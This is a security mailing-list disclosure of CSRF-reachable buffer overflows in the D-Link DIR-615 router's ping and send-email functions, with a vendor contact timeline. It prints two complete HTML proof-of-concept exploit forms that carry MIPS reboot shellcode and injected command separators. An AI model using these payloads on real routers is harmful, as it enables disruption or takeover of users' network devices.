[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Dlink DIR-615 Authenticated Buffer overflow in Ping and Send email functionality

## Advisory Information

Title: Dlink DIR-615 Authenticated Buffer overflow in Ping and Send email 
functionality
Vendors contacted: William Brown <william.brown@xxxxxxxxx>, Patrick Cline 
patrick.cline@xxxxxxxxx(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor 
indicated that they have fixed issues as per the email communication. The 
vendor had also released the information on their security advisory pages 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence 
the information needs to be publicly accessible so that users using these 
devices can update the router firmwares. The author (Samuel Huntley) releasing 
this finding is not responsible for anyone using this information for malicious 
purposes.

## Product Description

DIR-615 -- Wireless N300 router from Dlink. Mainly used by home and small 
offices.

## Vulnerabilities Summary

I have come across 2 security issues in DIR-615 firmware which allows an 
attacker using XSRF attack to exploit buffer overflow vulnerabilities in ping 
and send email functionality.

## Details

# Ping buffer oberflow
----------------------------------------------------------------------------------------------------------------------
<!-- reboot shellcode Big Endian MIPS-->
<html>
<body>
<form id="form5" name="form5" enctype="text/plain" method="post" 
action="http://192.168.100.14/ping_response.cgi";>
<input type="text" id="html_response_page" name="html_response_page" 
value="tools_vct.asp&html_response_return_page=tools_vct.asp&action=ping_test&ping_ipaddr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%2A%BF%99%F4%2A%C1%1C%30AAAA%2A%BF%8F%04CCCC%2A%BC%9B%9CEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE%2A%BC%BD%90FFFFFFFFFFFFFFFF%3c%06%43%21%34%c6%fe%dc%3c%05%28%12%34%a5%19%69%3c%04%fe%e1%34%84%de%ad%24%02%0f%f8%01%01%01%0c&ping=ping"></td>
<input type=submit value="submit">
</form>
</body>
</html>
----------------------------------------------------------------------------------------------------------------------


# Send email buffer overflow
----------------------------------------------------------------------------------------------------------------------
<!-- reboot shellcode Big Endian MIPS-->
<html>
<body>
<form id="form5" name="form5" enctype="text/plain" method="post" 
action="http://192.168.100.14/send_log_email.cgi";>
<input type="text" id="auth_active" name="auth_active" 
value="testy)%3b&log_email_from=test@xxxxxxxx&auth_acname=sweetBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBIIII%2A%BF%99%F4%2A%C1%1C%30FFFF%2A%BF%8F%04DDDDCCCCBBBB%2A%BC%9B%9CCCC&auth_passwd=test1)&log_email_server=mail.google.com%3breboat%3b%23%23testAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAA&log_email_port=25&log_email_sender=ses@xxxxxxxxx%3brebolt%3b%23%23teYYYY%2A%BC%BD%90AAAAAAAAAAAAtest%3c%06%43%21%34%c6%fe%dc%3c%05%28%12%34%a5%19%69%3c%04%fe%e1%34%84%de%ad%24%02%0f%f8%01%01%01%0cAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAA&model_name=test&action=send_log_email&test=test"></td>
<input type=submit value="submit">
</form>
</body>
</html>
----------------------------------------------------------------------------------------------------------------------


## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William 
Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the 
vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley (samhuntley84@xxxxxxxxx).